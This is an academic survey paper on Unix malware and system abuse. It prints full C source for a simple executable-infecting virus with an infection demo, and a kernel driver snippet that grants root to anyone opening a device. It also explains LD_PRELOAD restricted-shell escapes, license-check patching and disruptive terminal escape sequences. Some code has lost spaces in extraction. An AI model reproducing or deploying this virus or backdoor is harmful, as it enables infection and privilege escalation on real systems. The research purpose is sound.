Un*x Mischiefs: The New Frontiers
Amit Singh
Bell Laboratories
Murray Hill, New Jersey 07974
December, 1998
ABSTRACT
Aberration in behavior is inescapable for almost any entity capable of behaving. Computers are particularly prone to misbehaving. It has been discussed aplenty that software misbehavior is an inherent aspect of the stored-program concept. A widely held belief is that while Microsoft systems are excessively prone to malicious programs (especially viruses) wreaking havoc, UNIX and derived systems are not. People have tried to refute this claim, and several Un*x viruses have been "created". This paper evaluates some of these claims and their counter claims. Furthermore, it attempts a broad look at the kind of "mischiefs" (methodologies of making software misbehave) more than a quarter century of UNIX has led to. No attempt is made to classify malicious code into categories like viruses, worms, trojans etc., for which extensive documentation exists.
Please note that the term "Un*x" is used in a collective sense wherever it appears in the document: it represents Unix herself, derived systems and work-alikes, including but not limited to Linux. I apologize for the title, which is a pun on Uresh Vahalia's excellent book. Please read the following legal verbiage:
The information presented in this document is solely for academic purposes, and is not to be misused in any way. The author shall not be held responsible for any indirect, special, incidental or consequential damages arising out of the use or misuse of information present in this document.
1. Introduction
The
Unix Time-Sharing System has been successful, and saying so is an understatement. Unix introduced abstractions
that were so simple (in retrospect, certainly) and yet so powerful that
"technical" users loved it. In spite of this, for a long time it
was not straightforward for a random computer user to be able to get too
technical with Unix - availability was an issue. Even if one could access a
computer running Unix, an under the hood view was nonexistent, or
limited. Things are vastly different today. The evolution of
"free" and
"Open Source" software is
all too well known to be repeated here. What has also evolved in parallel is
the sophistication and scope of methods of "attack" on systems. Un*x systems
are generally considered to be more immune to software attacks than their
worldlier counterparts (especially Microsoft ones). While this claim
may have some substance due to various reasons, Un*x systems are quite
susceptible to mischief, as is any stored-program system
[1].
The primary reason for Un*x's relative immunity is the protection it offers
at various levels. On almost all modern operating systems (including
Microsoft systems for that matter), User applications "talk" to the
system via system calls. In fact, having a system with no system calls (such as Pebble from Bell Laboratories) would be considered a very novel approach. A number of system calls are allowed only to the
super-user. Access permissions and file attributes (if used
appropriately) protect one user's files from another. Newer systems have
added fancier access control mechanisms, but the underlying idea is the same.
Systems like MS-DOS, Windows 95 and Windows 98 do not have the notion of a
super-user. Therefore, it is reasonably possible for any user to "trash" the
entire system. Although an ordinary program on Un*x has to attain
"root" privileges in order to cause global damage, it can still
create ample nuisance within its domain. This means a user can (potentially)
damage all files that he owns, and a super-user can damage all files on the
system. If a program that changes domains as it runs (a setuid program
in Un*x parlance) misbehaves, then an ordinary user might (mis)use the program
to cause inter-domain damage. Doctored misbehavior of setuid/setgid programs, often through "buffer overflows", is perhaps the most common means of compromising security on Un*x.
Barring the differences in protection schemes across systems, malicious
programs on one platform are usually not too different in concept from those on another,
except where they exploit specific weaknesses or strengths of a system. The
behavior of a virus on MS-DOS can be easily emulated on Un*x. With the
availability of source code of entire operating systems, ingenious and
creative schemes can be hatched, and often are. Programming infrastructures
are generally far more powerful on Un*x than on traditional virus prone systems.
Ironically, this often makes it easier to launch crafty attacks. The same
reasons also make it easier to understand and rectify software misbehavior.
The situation is akin to the legendary conflict in The Star Wars: both the
"dark side" and the "force" have access to light sabres. Since I am not a Star Wars fan, I'm not sure if that made sense!
2. Virology Revisited
It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!
It will stick to you like glue
It will modify ram too
Send in the Cloner!
- Elk Cloner: The program with a personality
History has it that the term "computer virus" was phrased by Fred Cohen in
1983. The cute poem quoted above was recited by Elk Cloner, a virus for Apple ][,
considered to be the first virus by many. Virii have abounded on platforms like the Apple ][, IBM PC, Amiga, Atari and the like. Definitions and types of viruses (virii is
decidedly pedantic) have been excruciatingly documented by people.
Let us consider the typical definition of a computer virus, and evaluate it in the
context of Un*x. According to the Internet (or your favorite textbook), a computer virus is an entity that:
- Attacks specific files: Un*x has its own line-up of executable file formats (COFF, ELF, ...) to compete with the good old (?) ".EXE" and ".COM" formats. On Un*x, a hypothetical virus could prefer to attack only ELF files. We shall later present the implementation of a simple Un*x virus, christened "Jingle Bell", which attacks only executable files.
- Manipulates a program to execute tasks unintentionally: This is a trivial task on Un*x, at least in concept. The Jingle Bell does this. Implementations may be complex depending upon the sophistication of the virus. The Jingle Bell has hardly any bells or whistles attached and is consequently quite simple.
- The infected program produces more virus: This can range from being straightforward on Un*x to being something that requires hairy coding - again a matter of sophistication. The Jingle Bell produces more viruses using an easy to implement scheme.
- An infected program may run without error for a long time: This is a programming issue. The infected program usually runs fine for as long as the virus writer intends it to, or until a user does something detrimental to the virus, whichever is earlier.
- Virus programs can modify themselves and possibly escape detection this way: It is possible for rogue programs on Un*x to modify themselves to escape detection. It is also possible (and easier perhaps, given enough privileges) for them to modify the operating system so that they can hide.
2.1 Self Reproduction in Software
The most common buzz-phrase heard in context of viruses is that they are self reproducing. Ken Thompson presents a delightful discussion on self reproduction in Reflections on Trusting Trust, his Turing Award lecture. Thompson gives the example of a C program that prints itself. Self reproduction may be more of a syntax issue, and implementation hardness may depend on the language used. Here is a C one-liner that prints itself:
main(){char*p="main(){char*p=%c%s%c;(void)printf(p,34,p,34,10);\
}%c";(void)printf(p,34,p,34,10);}
Along similar lines, here is one in Perl:
$s='$s=%c%s%c;printf($s,39,$s,39);';printf($s,39,$s,39);
The following is a self-reproducing shell script:
E='E=%s;printf "$E" "\x27$E\x27"';printf "$E" "'$E'"
Finally, here is a program that prints
itself backwards (the program is one huge line: newlines have been
added here for readability, though that hardly makes it readable):
main(){int i;char *k;char a[]="main(){int i;char *k;
char a[]=%c%s%c;k=(char *)malloc(220);for(i=0;i<219;i++)
{k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183]=k[184];a[184]
=k[183];a[185]=k[184];a[186]=k[185];a[187]=k[184];a[188]=k[
187];printf(a,34,k,34);}";k=(char*)malloc(220);for(i=0
;i<219;i++){k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183]
=k[184];a[184]=k[183];a[185]=k[184];a[186]=k[185];a[187]=k[
184];a[188]=k[187];printf(a,34,k,34);}
As these examples demonstrate, it is possible to write self replicating code
in high-level languages. These programs can be made to carry arbitrary baggage,
which can be viral code. Note that if a program can access its file-system
source representation at run-time, it may not need to do syntactical jugglery in
order to reproduce.
2.2 Platform Independent Viruses
The large user base of Microsoft systems offers a homogenous and fertile
field for viruses to breed, especially since Microsoft emphasizes backwards
compatibility in its systems. One of the factors against a Un*x virus is the
heterogeny of Un*x systems: even with standards like POSIX, binary
incompatibility, differing system calls and other nuances make it harder
to create
a single program that is an effective misbehaver on many systems.
However, there exist languages and frameworks that are uniform across many
platforms. Perl is a generic enough scripting
language, and presents various uniform APIs to the underlying system. In fact, Perl
may even allow for an arbitrary system call to be invoked from within a script
using its syscall function, even if the system call has no
corresponding Perl function. It could be a suitable candidate for writing
viruses.
Further examples could include Postscript (executing on a buggy or insecure
viewer) and EMACS LISP. Text formatting languages like TEX (and
its descendant LATEX) appear safe enough, but strange
things happen when people try hard enough: somebody has written their thesis on
a platform independent virus that employs LATEX and
Emacs's TEX mode to do its job! With the advent of
/bin/sh on Windows (courtesy the
Cygwin software from
Cygnus),
Doug McIlroy's
"shell" virus gains another platform to play on. Finally, the
popular Java and
JavaScript languages provide other playing fields for messing around.
2.3 Un*x Viruses and the making of the Jingle Bell Virus
"McAfee detects first Linux Virus."
- Cyber headlines all over the place on February 7, 1997
Headlines screamed "Linux virus" as it was "proved" that a virus for Linux could be written. The virus source was posted on several sites, after the compressed tar file had been byte swapped,
uuencoded and rot13'ed, apparently so that some
curious novice could not inadvertently use it! The virus was blissfully
called Bliss. Vaccines appeared promptly from various sources on the Internet,
including an all too happy McAfee.
Un*x, or Linux viruses are not that new, and they were not
invented in 1997. Here is a note from Dennis Ritchie himself on this issue:
"A few years ago Tom Duff created a very persistent Unix virus. At that point we had about 10-12 8th or 9th edition Vax 750s networked together. The virus lived in the slack space at the end of the executable, and changed the entry point to itself. When the program was executed, it searched the current directory, subdirectories, /bin, /usr/bin for writable, uninfected files and then infected them if there was enough space."
It may be easier to write (note that we are not talking about deployment) a virus for Un*x than for any other system. The first problem to be tackled is that of providing accommodation to the virus: how the virus is going to attach itself to an executable. Typically, viruses infect executable files only, but on highly "user f(r)iendly" systems, executability is not limited to executable files! Even an innocent looking word processor document may cause execution of embedded code (the case of Microsoft Word macros is the ubiquitous example). We shall only consider traditional executable files.
Shell scripts are a powerful way to program. They also lend themselves easily to be modified, as exemplified by McIlroy's 150 byte Traductor simplicimus [1]. A virus writer may want his virus to hide in a binary executable, for obvious reasons (executable files are often more "active"). The problem becomes harder due to a large number of binary formats across various systems, and sometimes even on a single system (for example, Linux AOUT and ELF). Several solutions can be conceived. ELF is a flexible enough file format to be manipulated creatively. For example, the .note section of an ELF file can be used to hold information (a Linux project uses the .note section to store capabilities, that can be used by exec()). Of course, the virus needs to alter the program's execution, and that typically requires an instruction sequence to be inserted. The difficulty may vary depending on the file format. It must be noted that this requirement is not limited to virus creation. Code profilers often need to insert profiling code in-place. The New Jersey Machine-Code Toolkit offers help in this regard. [Update: Some other examples can be seen here.]
We present code for a generic Un*x virus that we shall call Jingle Bell. This virus is extremely simple minded: it attaches itself to an executable by appending the latter to itself and recording the offset. This process repeats itself. Figure 1 visualizes an infected program infecting a clean executable.
Figure 1. Working of Jingle Bell
The virus infects the first executable found, if any, on its command line. Of course, any other infection policy can be programmed. Assuming that /bin/ls is infected, an infection session is shown below:
# ls -las
total 15
1 drwxr-xr-x 2 root root 1024 Jun 19 13:33 .
1 drwxr-xr-x 4 root root 1024 Jun 19 13:32 ..
1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c
# cat hello.c
#include <stdio.h>
int
main()
{
printf("Hello, World!\n");
exit(0);
}
# cc hello.c
# ls -las
total 15
1 drwxr-xr-x 2 root root 1024 Jun 19 13:36 .
1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 ..
12 -rwxr-xr-x 1 root root 11803 Jun 19 13:36 a.out
1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c
# ./a.out
Hello, World
# ls -las a.out # This will infect a.out
29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out
# ./a.out # a.out works as before
Hello, World
# cc hello.c -o hello # compile hello.c again
# ls -las # a.out is infected, hello is not yet infected
total 44
1 drwxr-xr-x 2 root root 1024 Jun 19 13:40 .
1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 ..
29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out
12 -rwxr-xr-x 1 root root 11803 Jun 19 13:40 hello
1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c
# ./a.out hello # This should infect hello
Hello, World!
# ls -las # It indeed does
total 61
1 drwxr-xr-x 2 root root 1024 Jun 19 13:40 .
1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 ..
29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out
29 -rwxr-xr-x 1 root root 28322 Jun 19 13:40 hello
1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c
The infection works quite like it would on MS-DOS, say. It must be noted that the infected program can cause further infection in its domain only. The C code for Jingle Bell follows.
/*
* Jingle Bell (with moderate error handling)
*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
/* the size of our own executable: please configure */
static int V_OFFSET = 4976;
extern int errno;
void do_infect(int, char **, int);
int
main(intargc, char **argv, char **envp)
{
int len;
int rval;
int pid, status;
int fd_r, fd_w;
char *tmp;
char buf[BUFSIZ];
/*
* sometimes it may be possible to modify argv[0], for example by
* using zsh's ARGV0 variable:
*
* zsh# ARGV0=foobar ls
*
* In that case this virus misbehaves!
*/
if ((fd_r = open(argv[0], O_RDONLY)) < 0)
goto XBAILOUT;
if (lseek(fd_r, V_OFFSET, SEEK_SET) < 0) {
close(fd_r);
goto XBAILOUT;
}
if ((tmp = tmpnam(NULL)) == NULL) {
close(fd_r);
goto BAILOUT;
}
if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) < 0)
goto BAILOUT;
while ((len = read(fd_r, buf, BUFSIZ)) > 0)
write(fd_w, buf, len);
close(fd_w);
/* Infect */
do_infect(argc, argv, fd_r);
close(fd_r);
if ((pid = fork()) < 0)
goto BAILOUT;
/* run the original executable */
if (pid == 0) {
execve(tmp, argv, envp);
exit(127);
}
do {
/* wait till you can cleanup */
if (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
rval = -1;
gotoBAILOUT;
} else {
rval = status;
gotoBAILOUT;
}
}
} while (1);
BAILOUT:
unlink(tmp);
XBAILOUT:
exit(rval);
}
void
do_infect(intargc, char **argv, intfd_r)
{
int fd_t;
int target, i;
int done, bytes, length;
void *map;
struct statstat;
char buf[BUFSIZ];
if (argc < 2)
return;
/* nail the first executable on the command line */
for (target = 1; target < argc; target++)
if (!access(argv[target], W_OK | X_OK))
gotoNAILED;
return;
NAILED:
if ((fd_t = open(argv[target], O_RDWR)) < 0)
return;
fstat(fd_t, &stat);
length = stat.st_size;
map = (char *) malloc(length);
for (i = 0; i < length; i++)
read(fd_t, map + i, 1);
lseek(fd_t, 0, SEEK_SET);
if (ftruncate(fd_t, 0))
return;
done = 0;
lseek(fd_r, 0, SEEK_SET);
while (done < V_OFFSET) {
bytes = read(fd_r, buf, 1);
write(fd_t, buf, bytes);
done += bytes;
}
for (bytes = 0; bytes < length; bytes++)
write(fd_t, map + bytes, 1);
close(fd_t);
return;
}
/* FINIS */
Various other infection methods could be devised. It should also be possible to make the memory requirements of programs skyrocket by fiddling with the appropriate sections in an executable.
3. More Un*x mischiefs
As stated earlier, the powerful infrastructure available on Un*x makes certain type of tricks feasible, or easier to play. Representative users of systems like Linux and FreeBSD are often hobbyists, who are (usually) technically more informed than a typical home user of Windows, say. With plenty of time, energy and imagination, hackers (or crackers, as is appropriate in the context) can do non-obvious things on and to a system. This section discusses a few of such tricks. The aim is not to short-list ways of messing things up, but to present examples that highlight Un*x's susceptibility to mischief.
3.1 Dynamic and Dynamite Linking
ld.so is the run-time link-editor on a typical Un*x system. Its job is to load and link-edit shared objects into the address space of a dynamically linked program. ld.so honors several environment variables, one of which is LD_PRELOAD. This variable can contain a colon separated list of shared libraries, to be linked in before any other shared libraries. This is a useful feature, as illustrated by the following examples:
- On Solaris, the user compatibility library
/usr/lib/0@0.so.1 provides a mechanism that establishes a value of 0 at location 0. Some applications assume a null character pointer is the same as pointer to a null string. Accessing a null character pointer would cause a segmentation violation in such applications. The above library can be preloaded for the benefit of these applications.
- Real Network Inc.'s
realplayer does not work with certain Linux kernels. It opens /dev/dsp, an audio device, in non-blocking mode when it should not. The simple fix is to write an alternate stub to the open system call. This stub resets the O_NONBLOCK flag if the pathname argument to open() matches /dev/dsp. The stub is compiled into a shared library which is preloaded.
- Preloading can be helpful in debugging. Alternate versions of system libraries can be tested using this feature. System and function calls can be traced: simply write stubs for calls of interest, and insert debugging code into each stub.
- Assume that QoS (Quality of Service) support is added to an existing operating system. Applications can request guarantees for various resources they use. For example, the
open system call can specify flags requesting QoS from the disk driver. Pre-existing legacy applications will have to be modified and recompiled to make use of the new features. Alternatively, a shared library can be written that traps system/function calls of interest and provides the QoS code. This library can be preloaded. This is one of the schemes used on the ECLIPSE/BSD [2] operating system being developed at Bell Labs.
This feature is (mis)usable in many ways. Consider, for example:
- Instead of making efforts to "infect" executables, it suffices to pollute the environment namespace of a process. Thus, all a virus has to do is introduce a statement in the victim's appropriate startup file, setting LD_PRELOAD to the pathname of a viral library. The file could be a global one (like
/etc/profile), from which everybody inherits environment.
- Some network daemons allow their clients to transfer environment variables. If a user succeeds in uploading a malicious shared library to the server, he may obtain the privileges of the daemon this way.
Note that for obvious reasons, LD_PRELOAD is not honored for setuid programs. If it were, any user could run passwd (a setuid program), with open() re-implemented to exec() a shell. Regardless of this restriction, LD_PRELOAD is good (bad) enough for being misused, as described in the following examples.
3.1.1 The restrictions that thy restricted shell hath are ... none
The author failed to find (at the time of this writing, of course) an implementation of a restricted shell (like the rksh found on Solaris) that disallows setting or resetting this variable. Thus, in most cases, the shell would not be restricted at all! If a dynamically linked program is in the path, write a few lines of code to replace execve(), create a shared library and place it in a place accessible from the restricted account. The new code modifies/re-creates the envp (environment pointer) of the execve'd program (SHELL=/bin/sh, to begin with). Thereafter, it takes a couple of commands to get bailed out of restriction.
3.1.2 Linker infection
Finally, a little thought reveals that the run-time linker is the program to infect if a cracker wishes to retain illegally obtained privileges on a system. Traditionally, crackers use a variety of modifications for this purpose: planting setuid shells is so clichéd as to have become a naïvety. Adding users is common too. On Solaris, using dis to disassemble ld.so.1 and examining it reveals the location of the code that checks for a setuid file (the S_ISXXX family of masks, S_ISUID in particular) - modifying a couple of bytes is all it takes to disable this check. If the machine instructions were changed in-place, the new ld.so.1 allows LD_PRELOAD for all binaries, setuid or not. The moral of the story: system security could be worth as little as a couple of bytes!. Of course, modifying the run-time linker on a running system may not be all that straightforward.
3.2 Open Source and Open Sores
In the short (temporally) life of Computing, the semantics of security and trust have changed, and keep changing. There was perhaps a time when wizards were wizards and programming was black magic. Security through obscurity may actually have worked then. We live in volatile times today - an age of monotonically increasing enlightenment. With source code for entire operating systems available for anybody to study (which is the way things should be, at least in the opinion of the author), ingenuity, technical acumen combine with negatively affecting factors (cynicism, a will to destroy, digital mercenariness ...) and lead to remarkable mischiefs. It is no longer uncommon to find evil code infecting operating system kernels rather than applications. In this section, we shall formulate some examples of messing with Un*x kernels.
3.2.1 System call infector
There existed, and perhaps still do, viruses that made the system increasingly slower. In fact, degraded performance is often the first symptom of infection a human victim notices about his machine. This behavior is easily emulated on Un*x, particularly on open source systems. On a system that allows loading of kernel modules (Linux), an evil module can be made to trap each system call and insert busy loops, or allocate memory uselessly.
3.2.2 Hiding kernel modules
The evil module of the previous section would be given away if utilities like modinfo (on Solaris) and lsmod (on Linux) were used. The perpetrator can hide itself by modifying the accounting data structures the kernel maintains for loaded modules. This would be the equivalent of the infamous Stealth feature of certain viruses. Note that this may be trivial, hard or impossible, depending upon which internal functions the kernel exports, and whether the kernel source is available. On Linux, for example, this is quite simple to achieve.
3.2.3 Planting privilege yielding entities in the kernel
Let us conceptualize a loadable kernel module on Solaris that would be the equivalent of a setuid root binary, but much less likely to be detected. The module implements a device driver for a pseudo device foo, say. Doing this is fairly easy since the driver API is well-known. The driver is added to the system and this creates a device file in /devices/pseudo. The interesting part of the code, which would compile to a couple of kilobytes or so, would look like the following:
static int foo_open(dev_t*dev, int openflags, int otyp, cred_t * foo)
{
int retval=0;
/* use ddi_get_soft_state or something */
foo->cr_uid = 0;
foo->cr_gid = 0;
foo->cr_ruid = 0;
foo->cr_rgid = 0;
foo->cr_suid = 0;
foo->cr_sgid = 0;
return (retval);
}
As is evident, whosoever does an open() on this device (cat /devices/pseudo/fooXYZ, say) gets his credential structure (refer sys/cred.h) modified, with his [rs][ug]id set to 0.
3.2.4 Playing ping pong with file descriptors
The "everything is a file" concept is one of Un*x's great simplifying aspects. Familiarity with internal file related data structures may allow an evil user (having appropriate privileges) to take over an open file descriptor belonging to a random process. For example, an active telnet session would have a network socket descriptor open. A few lines of code yields a loadable kernel module (or an application writing to kernel memory) that for a given process id, hijacks a given descriptor. This could be done either by dup()ing it for the hijacker and closing the original, or by swapping it with a dummy descriptor belonging to the hijacker. In the telnet example, the original user gets a "connection terminated" error, and the hijacker gets the connection.
3.2.5 Picking software locks
Before the force was strong with Open Source, source code used to be a prized possession. It still is in most cases, for that matter. Vendors often employ techniques to lock their software. These days a representative situation involves a customer downloading a software product, paying for it online, and receiving some sort of a key that would make the software work, or remove restrictions from partially working software, as in the following story:
3.2.5.1 The OSS story: Security in Obscurity
4 Front Technologies is a US based company that develops Open Sound System™, a set of device drivers providing a uniform API for digital audio across major Un*x architectures. The first OSS driver was for Linux, where it continues to be popular. OSS is commercial software (costing US $20 as of this writing), though there's a free download that has a limited activity period. When you buy a copy of the OSS, you get a license that allows you free upgrades for the next few years. As it happens on the big, bad Internet, somebody illegally shared his OSS license with a "friend", who gave it to another "friend", and so on. The OSS people were understandably unhappy with this misuse. They came up with an obvious, and naïve solution: embed a list of known offending license numbers in the wrapper that authenticates the license and activates the driver. Thus, at runtime, the wrapper compares the license number against those in its blacklist, and does not activate the driver if there is a match. Note that the license file cannot be modified because of its design. It is quite simple to do a string search on the wrapper binary and locate the string of interest - which can be conveniently altered using GNU EMACS (or some "hex" editor). What we see here is a misconception, that there is security in obscurity. Realizing that this was too ineffective a fix, the OSS people came up with a marginally better solution: do not maintain the blacklist as strings, but keep the license numbers as raw data. Unfortunately, the enterprising pirates can still do something like an "od -x" (or functionally equivalent) on the binary, and search for their number (taking endian-ness into account). This could result in several matches, but that is not really a problem because:
- one could try to modify all matches, one at a time, and see if it works
- since in the new scheme, all black-listed numbers are still together, one could try a longer match
This is simply an extension of the security in obscurity idea.
What next? Even if some really smart logic is put in the wrapper, it would use a conditional branch (like the je, jne, be, bne instructions on the x86) at the point where it decides whether the license number is black-listed or not. With some enterprise, and some technically guided educated guesswork, it should be possible to logically negate the conditional jump (replace jne by je, for example), and see if the program still complains. Several commercial and shareware programs exist for the Wintel platform, that automate this procedure!
Finally, to their credit, the OSS people overhauled their licensing scheme.
Instead of trying to alter the application, a software pirate might use the operating system to pick software locks: after all, it is the OS that provides services that allow software to conjure up the illusion of a lock. For example, time related system calls could be made to report a historical time to a particular process.
3.3 Mail bombs
The ability to receive email is one of the greatest joys of computing. The author knows several people who get depressed if they have not received an email within the last hour. This modern day's preferred mode of communication would be an ideal vehicle for rogue code. Email bombs go back quite far in history. In the olden days (no Java™, no JavaScript and especially no ".doc" attachments), a bomb sender could have embedded escape sequences for a terminal in the mail text. If the recipient viewed the text on a terminal honoring the sequences, he could cause himself harm.
Today's viewing devices, whether implemented in hardware or software, are not free from escape sequences. It is trivial to garble most implementations of the popular xterm by causing some escape sequence to appear, possibly as part of email text. A partial list of potentially irritating sequences is given below. These may not work (negatively) on all xterm implementations.
^[(0 |
garbles xterms with US ASCII character set |
^[(B |
restores US ASCII character set |
^[[?5h |
sets reverse video |
^[[?9h |
sets sending of MIT mouse row/column on button press: will mess up text selection
|
^[]P10;colorspec^G |
sets foreground color to that specified by colorspec |
^[]P11;colorspec^G |
sets background color to that specified by colorspec |
^[P0;0 |
locks keyboard |
\226 |
garbles the author's xterm whenever this character is encountered in a mail (composed on Microsoft platform).
|
Some terminals may be flexible enough to allow escape sequences to insert characters in their input buffer, which could enable an email to execute commands on the receiver's machine.
Greener pastures for mail bombing appear when we realize that many email reader programs employ fancy features in order to be user-friendly (to what extent they achieve user-friendliness is a highly debatable issue, and outside the scope of this document, and possibly all other documents). Thus, a modern day email can cause execution of embedded code on the recipient's system, courtesy macro languages and entities like JavaScript. Of course, once email readers become this complex, cumbersome policies are devised to specify the resources these embedded programs are allowed to access. As has been demonstrated umpteen times in the case of Microsoft Word attachments, most users simply "run" whatever asks to be run. Headlines are made, legal action may follow shortly thereafter. Anti-Virus companies thrive. The cycle repeats after sometime.
In contrast, Un*x is regarded as "not too user-friendly". A better evaluation might be that the usability of Un*x is not static. While systems like Microsoft Windows shrink-wrap usability and user-friendliness, Un*x provides a robust and flexible framework for the user to build upon: her user-friendliness is programmable. A typical user on Un*x would save an email attachment and examine it, rather than let the email reader fork a process purely based on information provided by the message. It is partly due to the do-it-yourself attitude of Un*x users (and the relative lack of fancy programs trying to do too much) that Un*x mail bombs are not too common, though they may be in the future.
4. Protectors against Terminators and Predators
Computer security is a sinusoidal conflict. Vendors try to attain security classifications (involving fruit colored books and other paraphernalia). Availability of system source potentially enhances security as much as it hinders it. Linux has seen several such hardenings, like a patch for making the stack unexecutable. This is meant to be a line of defense against buffer overflow attacks. There is always scope for installation specific security hardening. For example, if an administrator feels that a Linux user should not be able to peek at the processes of others (process command line may contain sensitive information sometimes), all she has to do is to make a minor change in the proc files-system code - simply replace the S_IRUGO permission mode by S_IRUSR.
Consider a representative problem: an administrator does not wish the file /etc/CIA/moneysource to be accessible, in any case. Thus, he can:
- Change the permissions on the file. Someone with super-user privileges could still read it.
- Switch to a system that implements capabilities. Someone who attains privileges to modify capability settings could still read it.
- Switch to a system that has file attribute extensions, specifically immutability (both FreeBSD and Linux are candidates). Someone with super-user privileges could reset the immutable flag. So, remove the code for resetting immutability from the kernel. Someone with super-user privileges could edit the filesystem manually and access the file.
Apart from the sanest alternative of not keeping the file online, having file accesses passworded is a reasonable solution. Such filesystems do exist. In absence of bugs or loopholes, the file would be as secure as the encryption scheme.
In the next section, a modular security enhancing framework for Linux is described.
4.1 LaudIt
LaudIt [3] is a framework for playing with system calls on Linux. It is a loadable kernel module that dynamically modifies the system call vector to implement arbitrary security policies. A user-interface and a programming API allow a privileged user to mark system calls as having alternate implementations. The system keeps a bitmap of system calls to indicate which calls are currently re-routed. Each system call has a bitmap of actions. An action could be to log the system call, or consult a ruleset to allow or disallow access. The code implementing access rules is provided by the user.
An element of the system call vector is restored to its original location if no rule involves that particular system call. LaudIt requires no modification of the kernel code, and can be toggled on and off. However, implementation of non-default rules may require certain kernel symbols to be exported, and hence a modification of kernel code. Unloading of the kernel module can be made to require a password which is encrypted and stored in kernel memory, which means simply having super-user privileges does not suffice to override the framework.
LaudIt has some obvious uses, like:
- Disallowing specific system calls on a per-user, per-file basis, or globally. For example, the
reboot system call can be disallowed.
- Programming system calls to behave specifically in certain processes. Running a specific program for Y2K readiness would not necessitate changing system date.
- Logging system call activity (Solaris has this facility through the BSM model).
- Programming system calls to maintain arbitrary statistics.
Of course, this is not meant to be a panacea. It may not be possible to disallow access to many system files, which can be altered or destroyed by a cracker with super-user privileges.
4.2 The Watchdog extension to LaudIt
A user can associate a program with a file she owns. An access to the file will cause LaudIt to arrange for the user specified program to run, and the access will depend on the program's return status. This is the watchdog concept. The kernel sets up an appropriate (preferably neutral) context for the process, so that the file owner and the reader cannot play tricks on each other. This way, a user may associate passwords with individual files, or implement his own access policies.
This is similar to GNU HURD translators. In HURD, which is a micro-kernel based system, a file can have a translator associated with it. When a file is opened in HURD, a port associated with the file is created. The port is owned by the server owning the directory containing the file. With the translator mechanism, the server executes an associated program (translator)with the file. The translator is given a port to the actual contents of the file, and is then asked to return a port to the original user to complete the open operation.
5. References
- [1] M. Douglas McIlroy, Virology 101
- [2] José Brustoloni, Eran Gabber, Avi Silberschatz and Amit Singh, Quality of Service Support for Legacy Applications, NOSSDAV 1999
- [3] Amit Singh, LaudIt - A framework for playing with system calls on Linux., to be presented at the O'Reilly Open Source Conference, 1999
- [4] K. Thompson, Reflections on Trusting Trust
- [5] D. M. Ritchie and K. Thompson, The UNIX Time-Sharing System
- [6] Tom Christiansen, What's the Plural of `Virus'?
Amit Singh
http://www.bell-labs.com/user/amitsingh
Updated June 22, 1999